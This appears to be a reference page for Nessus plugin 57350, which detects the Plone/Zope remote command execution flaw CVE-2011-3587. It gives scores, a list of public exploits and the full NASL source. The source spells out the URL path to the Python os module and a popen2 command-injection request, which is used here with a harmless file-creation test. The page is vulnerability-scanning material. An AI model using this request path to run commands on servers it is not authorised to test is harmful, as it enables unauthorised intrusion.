Plone Request Parsing Remote Command Execution - Nessus

High   Plugin ID: 57350

This page contains detailed information about the Plone Request Parsing Remote Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 57350
Name: Plone Request Parsing Remote Command Execution
Filename: plone_20110928.nasl
Vulnerability Published: 2011-09-28
This Plugin Published: 2011-12-20
Last Modification Time: 2022-04-11
Plugin Version: 1.15
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: os_fingerprint.nasl, plone_detect.nasl
Required KB Items [?]: www/plone
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information


Severity: High
Vulnerability Published: 2011-09-28
Patch Published: 2011-09-28
CVE [?]: CVE-2011-3587
CPE [?]: cpe:/a:plone:plone

Synopsis

A web application on the remote host allows arbitrary remote code execution.

Description

The version of Plone hosted on the remote web server has a flaw that allows arbitrary access to Python modules. Using a specially crafted URL, this can allow an unauthenticated, remote attacker the ability to run arbitrary commands on the system through the Python 'os' module in the context of the 'Zope/Plone' service.

Solution

Follow the instructions in the advisory to apply the hotfix.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, Immunity Canvas, Core Impact, D2 Elliot)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the Plone Request Parsing Remote Command Execution vulnerability:

  1. Metasploit: exploit/multi/http/plone_popen2
    [Plone and Zope XMLTools Remote Command Execution]
  2. Exploit-DB: exploits/multiple/webapps/18262.txt
    [EDB-18262: Plone and Zope - Remote Command Execution]
  3. D2 Elliot: plone_rce.html
    [Plone RCE]
  4. Immunity Canvas: CANVAS

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.2 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.2 (Medium)

Go back to menu.

Plugin Source


This is the plone_20110928.nasl nessus plugin source code. This script is Copyright (C) 2011-2022 Tenable Network Security, Inc.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(57350);
  script_version("1.15");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2011-3587");
  script_bugtraq_id(49857);

  script_name(english:"Plone Request Parsing Remote Command Execution");

  script_set_attribute(attribute:"synopsis", value:
"A web application on the remote host allows arbitrary remote code
execution.");
  script_set_attribute(attribute:"description", value:
"The version of Plone hosted on the remote web server has a flaw that
allows arbitrary access to Python modules.  Using a specially crafted
URL, this can allow an unauthenticated, remote attacker the ability to
run arbitrary commands on the system through the Python 'os' module in
the context of the 'Zope/Plone' service.");
  script_set_attribute(attribute:"see_also", value:"http://plone.org/products/plone/security/advisories/20110928");
  script_set_attribute(attribute:"see_also", value:"http://plone.org/products/plone-hotfix/releases/20110928");
  # http://zope2.zope.org/news/security-vulnerability-announcement-cve-2011-3587
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?b32a0de5");
  script_set_attribute(attribute:"see_also", value:"https://pypi.org/project/Products.PloneHotfix20110928/1.0/");
  script_set_attribute(attribute:"solution", value:
"Follow the instructions in the advisory to apply the hotfix.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Plone RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Plone and Zope XMLTools Remote Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"CANVAS");

  script_set_attribute(attribute:"vuln_publication_date", value:"2011/09/28");
  script_set_attribute(attribute:"patch_publication_date", value:"2011/09/28");
  script_set_attribute(attribute:"plugin_publication_date", value:"2011/12/20");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:plone:plone");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2011-2022 Tenable Network Security, Inc.");

  script_dependencies("plone_detect.nasl", "os_fingerprint.nasl");
  script_require_keys("www/plone");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("http.inc");
include("misc_func.inc");
include("webapp_func.inc");
include("url_func.inc");

# Get details of Plone install.
port = get_http_port(default:80);

install = get_install_from_kb(appname:"plone", port:port, exit_on_fail:TRUE);
dir = install["dir"];

# Verify the vuln exists (regardless of whether we can exploit it)
os_module = "p_/webdav/xmltools/minidom/xml/sax/saxutils/os";
url = dir + "/" + os_module;

res = http_send_recv3(
  method       : "GET",
  item         : url,
  port         : port,
  exit_on_fail : TRUE
);

if ("<module 'os' from '" >!< res[2])
  exit(0, "The Plone installation at " + build_url(port:port, qs:dir) + " is not affected.");

# it looks like only Unix Systems have popen2 compiled in,
# so this shouldn't work on Windows - but we can try anyways
file_name = SCRIPT_NAME + "-" + unixtime();
unix_command = urlencode(str:"touch /tmp/"+ file_name);
windows_command = urlencode(str:"echo " + SCRIPT_NAME + " > %windir%/temp/"+file_name);

verify_instructions =
'An attempt was made to create a temporary file on the remote host.\n'+
'You can verify its existence by checking for it at the following\n'+
'path';

os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os)
  {
    commands = make_list(unix_command, windows_command);
    verify_instructions += 's:\n\n';
    verify_instructions += '  C:\\Windows\\temp\\' + file_name + '\n';
    verify_instructions += '  C:\\Winnt\\temp\\' + file_name + '\n';
  }
  else
  {
    commands = make_list(unix_command);
    verify_instructions += ':\n\n';
    verify_instructions += '  /tmp/' + file_name + '\n';
  }
}
else {
  commands = make_list(unix_command, windows_command);
  verify_instructions += 's (dependent on host operating system):\n\n';
  verify_instructions += '  /tmp/' + file_name + '\n';
  verify_instructions += '  C:\\Windows\\temp\\' + file_name + '\n';
  verify_instructions += '  C:\\Winnt\\temp\\' + file_name + '\n';
}

command_success = FALSE;
url_list = make_list();

foreach command (commands)
{
  url = dir + "/" + os_module + "/popen2?cmd=" + command;
  url_list = make_list(url_list, url);
  res = http_send_recv3(
    method       : "GET",
    item         : url,
    port         : port,
    exit_on_fail : TRUE
  );

  if ("<open file '<fdopen>'" >< res[2]) command_success = TRUE;
}

if (report_verbosity > 0)
{
  if (command_success)
  {
    report = '\nNessus was allowed to execute commands on the remote host.\n' +
    'The following requests were made:\n\n';
    foreach url (url_list)
      report += '  ' + build_url(qs:url, port:port) + '\n';
    report += '\n' + verify_instructions;
  }
  else
  {
    report = '\nNessus was able to determine that the vulnerability exists on the\n' +
    'remote host, but was not able to successfully exploit it.\n';
  }
  security_hole(port:port, extra:report);
}
else security_hole(port);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/plone_20110928.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\plone_20110928.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/plone_20110928.nasl

Go back to menu.

How to Run


Here is how to run the Plone Request Parsing Remote Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Plone Request Parsing Remote Command Execution plugin ID 57350.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl plone_20110928.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a plone_20110928.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - plone_20110928.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state plone_20110928.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 23963 - Cacti cmd.php Multiple Parameter SQL Injection Arbitrary Command Execution
  • 23966 - Ultimate PHP Board chat/login.php username Parameter Arbitrary Command Execution
  • 25674 - AsteriDex callboth.php Multiple Parameter CRLF Injection Arbitrary Command Execution
  • 26968 - TikiWiki tiki-graph_formula.php f Parameter Arbitrary Command Execution
  • 30124 - Smart Publisher index.php filedata Parameter Arbitrary Command Execution
  • 30132 - Coppermine imageObjectIM.class.php Command Execution Vulnerabilities
  • 31167 - Sniplets Plugin for WordPress execute.php 'text' Parameter Arbitrary Command Execution
  • 34292 - Observer <= 0.3.2.1 Multiple Remote Command Execution Vulnerabilities
  • 35090 - Moodle 'filter/tex/texed.php' 'pathname' Parameter Remote Command Execution
  • 40592 - WP-Syntax Plugin for WordPress 'apply_filters' function Command Execution
  • 43155 - HP OpenView Network Node Manager Multiple Scripts hostname Parameter Remote Command Execution
  • 44675 - GIT gitweb git_snapshot / git_object Shell Metacharacter Arbitrary Command Execution
  • 45345 - eScan MWAdmin forgotpassword.php uname Parameter Arbitrary Command Execution
  • 49088 - SnortReport nmap.php target Parameter Arbitrary Command Execution
  • 50510 - FreeNAS 'exec_raw.php' Arbitrary Command Execution
  • 53336 - GIT gitweb git_search Shell Metacharacter Arbitrary Command Execution
  • 53633 - Spreecommerce api/orders.json Search Function Arbitrary Command Execution
  • 57576 - op5 Portal Arbitrary Command Execution
  • 57578 - op5 Config Arbitrary Command Execution
  • 57850 - Apache Struts 2 ParameterInterceptor Class OGNL Expression Parsing Remote Command Execution
  • 61435 - Symantec Web Gateway Multiple Script Shell Command Execution (SYM12-011)
  • 61517 - Umbraco codeEditorSave.asmx SaveDLRScript Operation Traversal File Upload Arbitrary Command Execution
  • 62293 - SAP Host Control SOAP Web Service 'Database/Name' Command Execution (SAP Note 1341333)
  • 62737 - WANem result.php pc Parameter Remote Command Execution
  • 63111 - Narcissus backend.php release Parameter Remote Command Execution
  • 64096 - Movable Type mt-upgrade.cgi Remote Command Execution
  • 64293 - ViArt Shop sips_response.php DATA Parameter Request Parsing Remote Shell Command Execution
  • 65127 - Adobe InDesign Server RunScript Arbitrary Command Execution
  • 66931 - Apache Struts 2 OGNL Expression Handling Double Evaluation Error Remote Command Execution
  • 66935 - Apache Struts 2 Crafted Parameter Arbitrary OGNL Expression Remote Command Execution
  • 68981 - Apache Struts 2 'action:' Parameter Arbitrary Remote Command Execution
  • 69240 - Apache Struts 2 ExceptionDelegator Arbitrary Remote Command Execution
  • 70585 - NETGEAR ReadyNAS Remote Unauthenticated Command Execution
  • 76873 - TimThumb 'timthumb.php' < 2.8.14 WebShot 'src' Parameter Remote Command Execution

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file plone_20110928.nasl version 1.15. For more plugins, visit the Nessus Plugin Library.

Go back to menu.